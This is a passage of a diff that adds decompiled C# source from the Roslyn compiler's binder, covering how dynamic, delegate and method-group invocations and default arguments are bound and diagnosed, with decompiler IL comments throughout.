if (!boundExpression.HasAnyErrors) + { + diagnostics.Add((DiagnosticInfo?)(object)new CSDiagnosticInfo(ErrorCode.ERR_MethodNameExpected), expression.Location); + } + boundExpression2 = CreateBadCall(node, boundExpression, LookupResultKind.NotInvocable, analyzedArguments); + } + } + CheckRestrictedTypeReceiver(boundExpression2, Compilation, diagnostics); + return boundExpression2; + } + + private BoundExpression BindDynamicInvocation(SyntaxNode node, BoundExpression expression, AnalyzedArguments arguments, ImmutableArray applicableMethods, BindingDiagnosticBag diagnostics, CSharpSyntaxNode queryClause) + { + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + CheckNamedArgumentsForDynamicInvocation(arguments, diagnostics); + bool flag = false; + if (expression.Kind == BoundKind.MethodGroup) + { + BoundMethodGroup boundMethodGroup = (BoundMethodGroup)expression; + BoundExpression receiverOpt = boundMethodGroup.ReceiverOpt; + if (receiverOpt != null) + { + switch (receiverOpt.Kind) + { + case BoundKind.BaseReference: + Error(diagnostics, ErrorCode.ERR_NoDynamicPhantomOnBase, SyntaxNodeOrToken.op_Implicit(node), boundMethodGroup.Name); + flag = true; + break; + case BoundKind.ThisReference: + if ((InConstructorInitializer || InFieldInitializer) && receiverOpt.WasCompilerGenerated) + { + expression = boundMethodGroup.Update(boundMethodGroup.TypeArgumentsOpt, boundMethodGroup.Name, boundMethodGroup.Methods, boundMethodGroup.LookupSymbolOpt, boundMethodGroup.LookupError, (BoundMethodGroupFlags?)((uint?)boundMethodGroup.Flags & 0xFFFFFFFDu), boundMethodGroup.FunctionType, new BoundTypeExpression(node, null, ContainingType).MakeCompilerGenerated(), boundMethodGroup.ResultKind); + } + break; + case BoundKind.TypeOrValueExpression: + { + BoundTypeOrValueExpression boundTypeOrValueExpression = (BoundTypeOrValueExpression)receiverOpt; + bool inStaticContext; + bool useType = IsInstance(boundTypeOrValueExpression.Data.ValueSymbol) && !HasThis(isExplicit: false, out inStaticContext); + BoundExpression receiverOpt2 = ReplaceTypeOrValueReceiver(boundTypeOrValueExpression, useType, diagnostics); + expression = boundMethodGroup.Update(boundMethodGroup.TypeArgumentsOpt, boundMethodGroup.Name, boundMethodGroup.Methods, boundMethodGroup.LookupSymbolOpt, boundMethodGroup.LookupError, boundMethodGroup.Flags, boundMethodGroup.FunctionType, receiverOpt2, boundMethodGroup.ResultKind); + break; + } + } + } + } + else + { + expression = BindToNaturalType(expression, diagnostics); + } + ImmutableArray arguments2 = BuildArgumentsForDynamicInvocation(arguments, diagnostics); + ImmutableArray immutableArray = arguments.RefKinds.ToImmutableOrNull(); + flag &= ReportBadDynamicArguments(node, arguments2, immutableArray, diagnostics, queryClause); + return new BoundDynamicInvocation(node, arguments.GetNames(), immutableArray, applicableMethods, expression, arguments2, Compilation.DynamicType, flag); + } + + private void CheckNamedArgumentsForDynamicInvocation(AnalyzedArguments arguments, BindingDiagnosticBag diagnostics) + { + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + if (arguments.Names.Count == 0 || !Compilation.LanguageVersion.AllowNonTrailingNamedArguments()) + { + return; + } + bool flag = false; + for (int i = 0; i < arguments.Names.Count; i++) + { + if (arguments.Names[i].HasValue) + { + flag = true; + } + else if (flag) + { + Error(diagnostics, ErrorCode.ERR_NamedArgumentSpecificationBeforeFixedArgumentInDynamicInvocation, SyntaxNodeOrToken.op_Implicit(arguments.Arguments[i].Syntax)); + break; + } + } + } + + private ImmutableArray BuildArgumentsForDynamicInvocation(AnalyzedArguments arguments, BindingDiagnosticBag diagnostics) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(arguments.Arguments.Count); + instance.AddRange(arguments.Arguments); + int i = 0; + for (int count = instance.Count; i < count; i++) + { + ArrayBuilder val = instance; + int num = i; + BoundExpression boundExpression = instance[i]; + BoundExpression boundExpression2 = ((boundExpression is OutVariablePendingInference outVariablePendingInference) ? outVariablePendingInference.FailInference(this, diagnostics) : ((!(boundExpression is BoundDiscardExpression boundDiscardExpression) || boundDiscardExpression.HasExpressionType()) ? BindToNaturalType(boundExpression, diagnostics) : boundDiscardExpression.FailInference(this, diagnostics))); + val[num] = boundExpression2; + } + return instance.ToImmutableAndFree(); + } + + private static bool ReportBadDynamicArguments(SyntaxNode node, ImmutableArray arguments, ImmutableArray refKinds, BindingDiagnosticBag diagnostics, CSharpSyntaxNode queryClause) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_012e: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Unknown result type (might be due to invalid IL or missing references) + bool result = false; + bool flag = false; + if (!refKinds.IsDefault) + { + for (int i = 0; i < refKinds.Length; i++) + { + if ((int)refKinds[i] == 3) + { + Error(diagnostics, ErrorCode.ERR_InDynamicMethodArg, SyntaxNodeOrToken.op_Implicit(arguments[i].Syntax)); + result = true; + } + } + } + ImmutableArray.Enumerator enumerator = arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + if (!IsLegalDynamicOperand(current)) + { + if (queryClause != null && !flag) + { + flag = true; + Error(diagnostics, ErrorCode.ERR_BadDynamicQuery, SyntaxNodeOrToken.op_Implicit(node)); + result = true; + } + else if (current.Kind == BoundKind.Lambda || current.Kind == BoundKind.UnboundLambda) + { + Error(diagnostics, ErrorCode.ERR_BadDynamicMethodArgLambda, SyntaxNodeOrToken.op_Implicit(current.Syntax)); + result = true; + } + else if (current.Kind == BoundKind.MethodGroup) + { + Error(diagnostics, ErrorCode.ERR_BadDynamicMethodArgMemgrp, SyntaxNodeOrToken.op_Implicit(current.Syntax)); + result = true; + } + else if (current.Kind == BoundKind.ArgListOperator) + { + Error(diagnostics, ErrorCode.ERR_BadDynamicMethodArg, SyntaxNodeOrToken.op_Implicit(current.Syntax), "__arglist"); + } + else + { + Error(diagnostics, ErrorCode.ERR_BadDynamicMethodArg, SyntaxNodeOrToken.op_Implicit(current.Syntax), current.Type); + result = true; + } + } + } + return result; + } + + private BoundExpression BindDelegateInvocation(SyntaxNode node, SyntaxNode expression, string methodName, BoundExpression boundExpression, AnalyzedArguments analyzedArguments, BindingDiagnosticBag diagnostics, CSharpSyntaxNode queryClause, NamedTypeSymbol delegateType) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + MethodGroup instance = MethodGroup.GetInstance(); + instance.PopulateWithSingleMethod(boundExpression, delegateType.DelegateInvokeMethod); + OverloadResolutionResult instance2 = OverloadResolutionResult.GetInstance(); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + OverloadResolution.MethodInvocationOverloadResolution(instance.Methods, instance.TypeArguments, instance.Receiver, analyzedArguments, instance2, ref useSiteInfo, isMethodGroupConversion: false, allowRefOmittedArguments: false, inferWithDynamic: false, allowUnexpandedForm: true, (RefKind)0, null, isFunctionPointerResolution: false, isExtensionMethodResolution: false, default(CallingConventionInfo)); + ((BindingDiagnosticBag)(object)diagnostics).Add(node, useSiteInfo); + BoundExpression result = ((!analyzedArguments.HasDynamicArgument || !instance2.HasAnyApplicableMember) ? BindInvocationExpressionContinued(node, expression, methodName, instance2, analyzedArguments, instance, delegateType, diagnostics, queryClause) : BindDynamicInvocation(node, boundExpression, analyzedArguments, instance2.GetAllApplicableMembers(), diagnostics, queryClause)); + instance2.Free(); + instance.Free(); + return result; + } + + private static bool HasApplicableConditionalMethod(OverloadResolutionResult results) + { + ImmutableArray> results2 = results.Results; + for (int i = 0; i < results2.Length; i++) + { + if (results2[i].IsApplicable && results2[i].Member.IsConditional) + { + return true; + } + } + return false; + } + + private BoundExpression BindMethodGroupInvocation(SyntaxNode syntax, SyntaxNode expression, string methodName, BoundMethodGroup methodGroup, AnalyzedArguments analyzedArguments, BindingDiagnosticBag diagnostics, CSharpSyntaxNode queryClause, bool allowUnexpandedForm, out bool anyApplicableCandidates) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_018d: Unknown result type (might be due to invalid IL or missing references) + //IL_01e3: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + MethodGroupResolution resolution = ResolveMethodGroup(methodGroup, expression, methodName, analyzedArguments, isMethodGroupConversion: false, ref useSiteInfo, inferWithDynamic: false, allowUnexpandedForm, (RefKind)0, null, isFunctionPointerResolution: false, default(CallingConventionInfo)); + ((BindingDiagnosticBag)(object)diagnostics).Add(expression, useSiteInfo); + anyApplicableCandidates = resolution.ResultKind == LookupResultKind.Viable && resolution.OverloadResolutionResult.HasAnyApplicableMember; + if (!methodGroup.HasAnyErrors) + { + ((BindingDiagnosticBag)(object)diagnostics).AddRange(resolution.Diagnostics, false); + } + BoundExpression result; + if (resolution.HasAnyErrors) + { + ImmutableArray methods; + LookupResultKind resultKind; + ImmutableArray typeArgumentsWithAnnotations; + if (resolution.OverloadResolutionResult != null) + { + methods = GetOriginalMethods(resolution.OverloadResolutionResult); + resultKind = resolution.MethodGroup.ResultKind; + typeArgumentsWithAnnotations = resolution.MethodGroup.TypeArguments.ToImmutable(); + } + else + { + methods = methodGroup.Methods; + resultKind = methodGroup.ResultKind; + typeArgumentsWithAnnotations = methodGroup.TypeArgumentsOpt; + } + result = CreateBadCall(syntax, methodName, methodGroup.ReceiverOpt, methods, resultKind, typeArgumentsWithAnnotations, analyzedArguments, resolution.IsExtensionMethodGroup, isDelegate: false); + } + else if (!resolution.IsEmpty) + { + if (resolution.ResultKind != LookupResultKind.Viable) + { + if (resolution.MethodGroup != null) + { + result = BindInvocationExpressionContinued(syntax, expression, methodName, resolution.OverloadResolutionResult, resolution.AnalyzedArguments, resolution.MethodGroup, null, BindingDiagnosticBag.Discarded, queryClause); + } + result = CreateBadCall(syntax, methodGroup, methodGroup.ResultKind, analyzedArguments); + } + else if (resolution.AnalyzedArguments.HasDynamicArgument && resolution.OverloadResolutionResult.HasAnyApplicableMember) + { + if (resolution.IsLocalFunctionInvocation) + { + result = BindLocalFunctionInvocationWithDynamicArgument(syntax, expression, methodName, methodGroup, diagnostics, queryClause, resolution); + } + else if (resolution.IsExtensionMethodGroup) + { + Error(diagnostics, ErrorCode.ERR_BadArgTypeDynamicExtension, SyntaxNodeOrToken.op_Implicit(syntax), methodGroup.InstanceOpt.Type, methodGroup.Name); + result = CreateBadCall(syntax, methodGroup, methodGroup.ResultKind, analyzedArguments); + } + else + { + if (HasApplicableConditionalMethod(resolution.OverloadResolutionResult)) + { + Error(diagnostics, ErrorCode.WRN_DynamicDispatchToConditionalMethod, SyntaxNodeOrToken.op_Implicit(syntax), methodGroup.Name); + } + ImmutableArray candidatesPassingFinalValidation = GetCandidatesPassingFinalValidation(syntax, resolution.OverloadResolutionResult, methodGroup.ReceiverOpt, methodGroup.TypeArgumentsOpt, diagnostics); + result = ((candidatesPassingFinalValidation.Length <= 0) ? CreateBadCall(syntax, methodGroup, methodGroup.ResultKind, analyzedArguments) : BindDynamicInvocation(syntax, methodGroup, resolution.AnalyzedArguments, candidatesPassingFinalValidation, diagnostics, queryClause)); + } + } + else + { + result = BindInvocationExpressionContinued(syntax, expression, methodName, resolution.OverloadResolutionResult, resolution.AnalyzedArguments, resolution.MethodGroup, null, diagnostics, queryClause); + } + } + else + { + result = CreateBadCall(syntax, methodGroup, methodGroup.ResultKind, analyzedArguments); + } + resolution.Free(); + return result; + } + + private BoundExpression BindLocalFunctionInvocationWithDynamicArgument(SyntaxNode syntax, SyntaxNode expression, string methodName, BoundMethodGroup boundMethodGroup, BindingDiagnosticBag diagnostics, CSharpSyntaxNode queryClause, MethodGroupResolution resolution) + { + //IL_0120: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + MemberResolutionResult validResult = resolution.OverloadResolutionResult.ValidResult; + ImmutableArray arguments = resolution.AnalyzedArguments.Arguments.ToImmutable(); + ImmutableArray refKinds = resolution.AnalyzedArguments.RefKinds.ToImmutableOrNull(); + ReportBadDynamicArguments(syntax, arguments, refKinds, diagnostics, queryClause); + MethodSymbol member = validResult.Member; + MemberAnalysisResult result = validResult.Result; + if (Microsoft.CodeAnalysis.CSharp.OverloadResolution.IsValidParams(member) && result.Kind == MemberResolutionKind.ApplicableInNormalForm) + { + ImmutableArray parameters = member.Parameters; + int num = parameters.Length - 1; + for (int i = 0; i < arguments.Length; i++) + { + if (arguments[i].HasDynamicType() && result.ParameterFromArgument(i) == num) + { + Error(diagnostics, ErrorCode.ERR_DynamicLocalFunctionParamsParameter, SyntaxNodeOrToken.op_Implicit(syntax), parameters.Last().Name, member.Name); + return BindDynamicInvocation(syntax, boundMethodGroup, resolution.AnalyzedArguments, resolution.OverloadResolutionResult.GetAllApplicableMembers(), diagnostics, queryClause); + } + } + } + if (boundMethodGroup.TypeArgumentsOpt.IsDefaultOrEmpty && member.IsGenericMethod) + { + Error(diagnostics, ErrorCode.ERR_DynamicLocalFunctionTypeParameter, SyntaxNodeOrToken.op_Implicit(syntax), member.Name); + return BindDynamicInvocation(syntax, boundMethodGroup, resolution.AnalyzedArguments, resolution.OverloadResolutionResult.GetAllApplicableMembers(), diagnostics, queryClause); + } + return BindInvocationExpressionContinued(syntax, expression, methodName, resolution.OverloadResolutionResult, resolution.AnalyzedArguments, resolution.MethodGroup, null, diagnostics, queryClause); + } + + private ImmutableArray GetCandidatesPassingFinalValidation(SyntaxNode syntax, OverloadResolutionResult overloadResolutionResult, BoundExpression receiverOpt, ImmutableArray typeArgumentsOpt, BindingDiagnosticBag diagnostics) where TMethodOrPropertySymbol : Symbol + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + BindingDiagnosticBag bindingDiagnosticBag = null; + BindingDiagnosticBag instance2 = BindingDiagnosticBag.GetInstance(diagnostics); + int i = 0; + for (int count = overloadResolutionResult.ResultsBuilder.Count; i < count; i++) + { + MemberResolutionResult memberResolutionResult = overloadResolutionResult.ResultsBuilder[i]; + if (memberResolutionResult.Result.IsApplicable) + { + if (!MemberGroupFinalValidationAccessibilityChecks(receiverOpt, memberResolutionResult.Member, syntax, instance2, invokedAsExtensionMethod: false) && (typeArgumentsOpt.IsDefault || ((MethodSymbol)(object)memberResolutionResult.Member).CheckConstraints(new ConstraintsHelper.CheckConstraintsArgs(Compilation, Conversions, includeNullability: false, syntax.Location, instance2)))) + { + instance.Add(memberResolutionResult.Member); + } + else if (bindingDiagnosticBag == null) + { + bindingDiagnosticBag = instance2; + instance2 = BindingDiagnosticBag.GetInstance(diagnostics); + } + else + { + ((BindingDiagnosticBag)(object)instance2).Clear(); + } + } + } + if (bindingDiagnosticBag != null) + { + if (instance.Count == 0) + { + ((BindingDiagnosticBag)(object)diagnostics).AddRange((BindingDiagnosticBag)(object)bindingDiagnosticBag, false); + } + ((BindingDiagnosticBag)(object)bindingDiagnosticBag).Free(); + } + ((BindingDiagnosticBag)(object)instance2).Free(); + return instance.ToImmutableAndFree(); + } + + private void CheckRestrictedTypeReceiver(BoundExpression expression, CSharpCompilation compilation, BindingDiagnosticBag diagnostics) + { + //IL_0182: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_011a: Unknown result type (might be due to invalid IL or missing references) + switch (expression.Kind) + { + case BoundKind.Call: + { + BoundCall boundCall = (BoundCall)expression; + if (!boundCall.HasAnyErrors && boundCall.ReceiverOpt != null && (object)boundCall.ReceiverOpt.Type != null) + { + if (boundCall.ReceiverOpt.Type.IsRestrictedType() && !TypeSymbol.Equals(boundCall.Method.ContainingType, boundCall.ReceiverOpt.Type, (TypeCompareKind)0)) + { + SymbolDistinguisher symbolDistinguisher = new SymbolDistinguisher(compilation, boundCall.ReceiverOpt.Type, boundCall.Method.ContainingType); + Error(diagnostics, ErrorCode.ERR_NoImplicitConv, SyntaxNodeOrToken.op_Implicit(boundCall.ReceiverOpt.Syntax), symbolDistinguisher.First, symbolDistinguisher.Second); + } + else if (boundCall.ReceiverOpt.Kind == BoundKind.BaseReference && ContainingType.IsRestrictedType()) + { + SymbolDistinguisher symbolDistinguisher2 = new SymbolDistinguisher(compilation, ContainingType, boundCall.Method.ContainingType); + Error(diagnostics, ErrorCode.ERR_NoImplicitConv, SyntaxNodeOrToken.op_Implicit(boundCall.ReceiverOpt.Syntax), symbolDistinguisher2.First, symbolDistinguisher2.Second); + } + } + break; + } + case BoundKind.DynamicInvocation: + { + BoundDynamicInvocation boundDynamicInvocation = (BoundDynamicInvocation)expression; + if (!boundDynamicInvocation.HasAnyErrors && (object)boundDynamicInvocation.Expression.Type != null && boundDynamicInvocation.Expression.Type.IsRestrictedType()) + { + Error(diagnostics, ErrorCode.ERR_BadDynamicMethodArg, SyntaxNodeOrToken.op_Implicit(boundDynamicInvocation.Expression.Syntax), boundDynamicInvocation.Expression.Type); + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)expression.Kind); + case BoundKind.FunctionPointerInvocation: + break; + } + } + + private BoundCall BindInvocationExpressionContinued(SyntaxNode node, SyntaxNode expression, string methodName, OverloadResolutionResult result, AnalyzedArguments analyzedArguments, MethodGroup methodGroup, NamedTypeSymbol delegateTypeOpt, BindingDiagnosticBag diagnostics, CSharpSyntaxNode queryClause = null) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0297: Unknown result type (might be due to invalid IL or missing references) + //IL_029d: Invalid comparison between Unknown and I4 + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_02fa: Unknown result type (might be due to invalid IL or missing references) + //IL_0300: Invalid comparison between Unknown and I4 + //IL_03ca: Unknown result type (might be due to invalid IL or missing references) + //IL_03da: Unknown result type (might be due to invalid IL or missing references) + //IL_038c: Unknown result type (might be due to invalid IL or missing references) + //IL_0451: Unknown result type (might be due to invalid IL or missing references) + //IL_0464: Unknown result type (might be due to invalid IL or missing references) + //IL_0405: Unknown result type (might be due to invalid IL or missing references) + bool isExtensionMethodGroup = methodGroup.IsExtensionMethodGroup; + if (!result.Succeeded) + { + if (analyzedArguments.HasErrors) + { + Enumerator enumerator = analyzedArguments.Arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + if (!(current is UnboundLambda unboundLambda)) + { + if (!(current is BoundUnconvertedObjectCreationExpression) && !(current is BoundTupleLiteral)) + { + if (current is BoundUnconvertedSwitchExpression source) + { + TypeSymbol type = current.Type; + if ((object)type != null) + { + ConvertSwitchExpression(source, type, null, diagnostics); + } + } + else if (current is BoundUnconvertedConditionalOperator boundUnconvertedConditionalOperator) + { + TypeSymbol type2 = boundUnconvertedConditionalOperator.Type; + if ((object)type2 != null) + { + ConvertConditionalExpression(boundUnconvertedConditionalOperator, type2, null, diagnostics); + } + } + } + else + { + BindToNaturalType(current, diagnostics); + } + } + else + { + BoundLambda boundLambda = unboundLambda.BindForErrorRecovery(); + ((BindingDiagnosticBag)(object)diagnostics).AddRange(boundLambda.Diagnostics, false); + } + } + } + else + { + string name = (((object)delegateTypeOpt == null) ? methodName : null); + result.ReportDiagnostics(this, GetLocationForOverloadResolutionDiagnostic(node, expression), node, diagnostics, name, methodGroup.Receiver, expression, analyzedArguments, methodGroup.Methods.ToImmutable(), null, delegateTypeOpt, queryClause); + } + return CreateBadCall(node, methodGroup.Name, (isExtensionMethodGroup && analyzedArguments.Arguments.Count > 0 && methodGroup.Receiver == analyzedArguments.Arguments[0]) ? null : methodGroup.Receiver, GetOriginalMethods(result), methodGroup.ResultKind, methodGroup.TypeArguments.ToImmutable(), analyzedArguments, isExtensionMethodGroup, (object)delegateTypeOpt != null); + } + MemberResolutionResult validResult = result.ValidResult; + TypeSymbol returnType = validResult.Member.ReturnType; + MethodSymbol member = validResult.Member; + BoundExpression boundExpression = ReplaceTypeOrValueReceiver(methodGroup.Receiver, !member.RequiresInstanceReceiver && !isExtensionMethodGroup, diagnostics); + CheckAndCoerceArguments(validResult, analyzedArguments, diagnostics, boundExpression, isExtensionMethodGroup); + bool expanded = validResult.Result.Kind == MemberResolutionKind.ApplicableInExpandedForm; + ImmutableArray argsToParamsOpt = validResult.Result.ArgsToParamsOpt; + BindDefaultArguments(node, member.Parameters, analyzedArguments.Arguments, analyzedArguments.RefKinds, ref argsToParamsOpt, out var defaultArguments, expanded, enableCallerInfo: true, diagnostics); + bool flag = MemberGroupFinalValidation(boundExpression, member, expression, diagnostics, isExtensionMethodGroup); + CheckImplicitThisCopyInReadOnlyMember(boundExpression, member, diagnostics); + if (isExtensionMethodGroup) + { + BoundExpression boundExpression2 = analyzedArguments.Argument(0); + ParameterSymbol parameterSymbol = member.Parameters.First(); + if (boundExpression != boundExpression2) + { + boundExpression2 = CreateConversion(boundExpression, validResult.Result.ConversionForArg(0), parameterSymbol.Type, diagnostics); + } + if ((int)parameterSymbol.RefKind == 1) + { + boundExpression2 = CheckValue(boundExpression2, BindValueKind.RefOrOut, diagnostics); + if (analyzedArguments.RefKinds.Count == 0) + { + analyzedArguments.RefKinds.Count = analyzedArguments.Arguments.Count; + } + analyzedArguments.RefKinds[0] = (RefKind)1; + CheckFeatureAvailability(boundExpression2.Syntax, MessageID.IDS_FeatureRefExtensionMethods, diagnostics); + } + else if ((int)parameterSymbol.RefKind == 3) + { + CheckFeatureAvailability(boundExpression2.Syntax, MessageID.IDS_FeatureRefExtensionMethods, diagnostics); + } + analyzedArguments.Arguments[0] = boundExpression2; + } + if (isExtensionMethodGroup || (!member.RequiresInstanceReceiver && boundExpression != null && boundExpression.WasCompilerGenerated)) + { + boundExpression = null; + } + ImmutableArray names = analyzedArguments.GetNames(); + ImmutableArray argumentRefKindsOpt = analyzedArguments.RefKinds.ToImmutableOrNull(); + ImmutableArray arguments = analyzedArguments.Arguments.ToImmutable(); + if (!flag && member.RequiresInstanceReceiver && boundExpression != null && boundExpression.Kind == BoundKind.ThisReference && boundExpression.WasCompilerGenerated) + { + flag = IsRefOrOutThisParameterCaptured(SyntaxNodeOrToken.op_Implicit(node), diagnostics); + } + if (member.HasParameterContainingPointerType()) + { + flag = ReportUnsafeIfNotAllowed(node, diagnostics) || flag; + } + bool flag2 = boundExpression != null && boundExpression.Kind == BoundKind.BaseReference; + ReportDiagnosticsIfObsolete(diagnostics, member, SyntaxNodeOrToken.op_Implicit(node), flag2); + ReportDiagnosticsIfUnmanagedCallersOnly(diagnostics, member, SyntaxNodeOrToken.op_Implicit(node), isDelegateConversion: false); + if (member.IsRuntimeFinalizer()) + { + ErrorCode code = (flag2 ? ErrorCode.ERR_CallingBaseFinalizeDeprecated : ErrorCode.ERR_CallingFinalizeDeprecated); + Error(diagnostics, code, SyntaxNodeOrToken.op_Implicit(node)); + flag = true; + } + bool flag3 = (object)delegateTypeOpt != null; + if (!flag3 && member.RequiresInstanceReceiver) + { + WarnOnAccessOfOffDefault((SyntaxNode)(object)((node.Kind() == SyntaxKind.InvocationExpression) ? ((InvocationExpressionSyntax)(object)node).Expression : ((ExpressionSyntax)(object)node)), boundExpression, diagnostics); + } + return new BoundCall(node, boundExpression, ReceiverIsSubjectToCloning(boundExpression, member), member, arguments, names, argumentRefKindsOpt, flag3, expanded, isExtensionMethodGroup, argsToParamsOpt, defaultArguments, LookupResultKind.Viable, returnType, flag); + } + + internal ThreeState ReceiverIsSubjectToCloning(BoundExpression? receiver, PropertySymbol property) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol methodSymbol = property.GetMethod ?? property.SetMethod; + if ((object)methodSymbol == null) + { + return (ThreeState)1; + } + return ReceiverIsSubjectToCloning(receiver, methodSymbol); + } + + internal ThreeState ReceiverIsSubjectToCloning(BoundExpression? receiver, MethodSymbol method) + { + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + if (receiver is BoundValuePlaceholderBase || receiver == null || receiver.Type?.IsValueType != true) + { + return (ThreeState)1; + } + BindValueKind valueKind = (method.IsEffectivelyReadOnly ? BindValueKind.RefersToLocation : (BindValueKind.Assignable | BindValueKind.RefersToLocation)); + return ThreeStateHelpers.ToThreeState(!CheckValueKind(receiver.Syntax, receiver, valueKind, checkingReceiver: true, BindingDiagnosticBag.Discarded)); + } + + private static SourceLocation GetCallerLocation(SyntaxNode syntax) + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Expected O, but got Unknown + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken val = ((syntax is InvocationExpressionSyntax invocationExpressionSyntax) ? invocationExpressionSyntax.ArgumentList.OpenParenToken : ((syntax is BaseObjectCreationExpressionSyntax baseObjectCreationExpressionSyntax) ? baseObjectCreationExpressionSyntax.NewKeyword : ((syntax is ConstructorInitializerSyntax constructorInitializerSyntax) ? constructorInitializerSyntax.ArgumentList.OpenParenToken : ((syntax is PrimaryConstructorBaseTypeSyntax primaryConstructorBaseTypeSyntax) ? primaryConstructorBaseTypeSyntax.ArgumentList.OpenParenToken : ((!(syntax is ElementAccessExpressionSyntax elementAccessExpressionSyntax)) ? syntax.GetFirstToken(false, false, false, false) : elementAccessExpressionSyntax.ArgumentList.OpenBracketToken))))); + SyntaxToken val2 = val; + return new SourceLocation(ref val2); + } + + private BoundExpression GetDefaultParameterSpecialNoConversion(SyntaxNode syntax, ParameterSymbol parameter, BindingDiagnosticBag diagnostics) + { + TypeSymbol type = parameter.Type; + BoundExpression boundExpression = null; + if (InAttributeArgument) + { + diagnostics.Add(ErrorCode.ERR_BadAttributeParamDefaultArgument, syntax.Location, parameter.Name); + } + else if (parameter.IsMarshalAsObject) + { + boundExpression = new BoundDefaultExpression(syntax, type) + { + WasCompilerGenerated = true + }; + } + else if (parameter.IsIUnknownConstant) + { + if (GetWellKnownTypeMember(Compilation, (WellKnownMember)78, diagnostics, null, syntax) is MethodSymbol constructor) + { + BoundDefaultExpression boundDefaultExpression = new BoundDefaultExpression(syntax, type) + { + WasCompilerGenerated = true + }; + boundExpression = new BoundObjectCreationExpression(syntax, constructor, boundDefaultExpression) + { + WasCompilerGenerated = true + }; + } + } + else if (parameter.IsIDispatchConstant) + { + if (GetWellKnownTypeMember(Compilation, (WellKnownMember)79, diagnostics, null, syntax) is MethodSymbol constructor2) + { + BoundDefaultExpression boundDefaultExpression2 = new BoundDefaultExpression(syntax, type) + { + WasCompilerGenerated = true + }; + boundExpression = new BoundObjectCreationExpression(syntax, constructor2, boundDefaultExpression2) + { + WasCompilerGenerated = true + }; + } + } + else if (GetWellKnownTypeMember(Compilation, (WellKnownMember)43, diagnostics, null, syntax) is FieldSymbol fieldSymbol) + { + boundExpression = new BoundFieldAccess(syntax, null, fieldSymbol, null) + { + WasCompilerGenerated = true + }; + } + return boundExpression ?? BadExpression(syntax).MakeCompilerGenerated(); + } + + internal static ParameterSymbol? GetCorrespondingParameter(int argumentOrdinal, ImmutableArray parameters, ImmutableArray argsToParamsOpt, bool expanded) + { + int length = parameters.Length; + if (argsToParamsOpt.IsDefault) + { + if (argumentOrdinal < length) + { + return parameters[argumentOrdinal]; + } + if (expanded) + { + return parameters[length - 1]; + } + return null; + } + int num = argsToParamsOpt[argumentOrdinal]; + if (num < length) + { + return parameters[num]; + } + return null; + } + + internal void BindDefaultArguments(SyntaxNode node, ImmutableArray parameters, ArrayBuilder argumentsBuilder, ArrayBuilder? argumentRefKindsBuilder, ref ImmutableArray argsToParamsOpt, out BitVector defaultArguments, bool expanded, bool enableCallerInfo, BindingDiagnosticBag diagnostics, bool assertMissingParametersAreOptional = true, Symbol? attributedMember = null) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + BitVector val = BitVector.Create(parameters.Length); + for (int i = 0; i < argumentsBuilder.Count; i++) + { + ParameterSymbol correspondingParameter = GetCorrespondingParameter(i, parameters, argsToParamsOpt, expanded); + if ((object)correspondingParameter != null) + { + ((BitVector)(ref val))[correspondingParameter.Ordinal] = true; + } + } + if (ImmutableArrayExtensions.All(parameters, (Func)((ParameterSymbol param, BitVector visitedParameters) => ((BitVector)(ref visitedParameters))[param.Ordinal]), val)) + { + defaultArguments = default(BitVector); + return; + } + Symbol symbol; + if (InAttributeArgument) + { + symbol = attributedMember; + } + else + { + Symbol symbol2 = ContainingMember(); + Symbol symbol3 = ((!(symbol2 